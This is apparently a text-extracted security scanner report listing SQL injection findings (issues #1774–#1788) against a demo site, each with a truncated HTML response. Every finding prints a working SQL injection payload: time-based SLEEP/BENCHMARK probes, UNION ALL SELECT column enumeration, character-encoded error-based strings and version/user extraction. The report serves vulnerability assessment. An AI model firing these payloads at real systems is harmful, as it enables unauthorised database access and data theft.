script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1774
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),
4,5,6,7#
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1775
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# AND 3516=CAST((CHR(113)||CHR(106)||CHR(122)||CHR(106)||
CHR(113))||(SELECT (CASE WHEN (3516=3516) THEN 1 ELSE 
0 END))::text||(CHR(113)||CHR(112)||CHR(106)||CHR(107)||CHR(
113)) AS NUMERIC)
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1776
Scan SQL InjectionSeverity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# ,(select * from (select(sleep(10)))a)
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1777
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1
#UNION ALL SELECT 
1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title>
DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="width=
device-width, initial-scale=1, shrink-to-fit=no"> <script src="/cdn-cgi/apps/
head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script language="javascript"> 
window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER__"; </script> <!-- Start 
of Zendesk Widget script --> <!-- <script id="ze-snippet" src="https://
static.zdassets.com/ekr/snippet.js?key=c377ac9e-9a0a-4c32-aed4-bfb86b515320"> 
</script> --> <!-- End of Zendesk Widget script --> <!-- Bootstrap CSS --> <
link rel="shortcut icon" type="image/png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbW
FnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCgAQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary hints
on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1778
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# UNION ALL SELECT 'INJ'||'ECT'||'XXX',
2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22#
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1779
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# UNION ALL SELECT 
1,2,3,4,5,6,7,8,9,10,11,12,13,14--ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1780
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# UNION ALL SELECT 'INJ'||'ECT'||'XXX',
2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17#
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1781Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# UNION ALL SELECT 'INJ'||'ECT'||'XXX',
2,3,4,5,6,7,8,9,10,11,12,13,14,15
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1782
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+
CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(
88)+CHAR(118)+CHAR(120)+CHAR(80)+CHAR(75)+CHAR(116)+
CHAR(69)+CHAR(65)+CHAR(113)+CHAR(112)+CHAR(106)+
CHAR(107)))
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1783
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# UNION ALL SELECT 'INJ'||'ECT'||'XXX',
2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19#
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1784
Scan SQL Injection
Severity ERROREndpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1785
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),
4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20#
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCgAQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1786
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# UNION ALL SELECT @@VERSION,USER(),SLEEP(5),
BENCHMARK(1000000,MD5('A')),NULL,NULL,NULL,NULL,NULL
,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,
NULL,NULL,NULL,NULL,NULL--
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1787
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName ValueDemoUser1# UNION ALL SELECT @@VERSION,USER(),SLEEP(5)-
-
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1788
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+
CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(
88)+CHAR(118)+CHAR(120)+CHAR(80)+CHAR(75)+CHAR(116)
+CHAR(69)+CHAR(65)))#
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
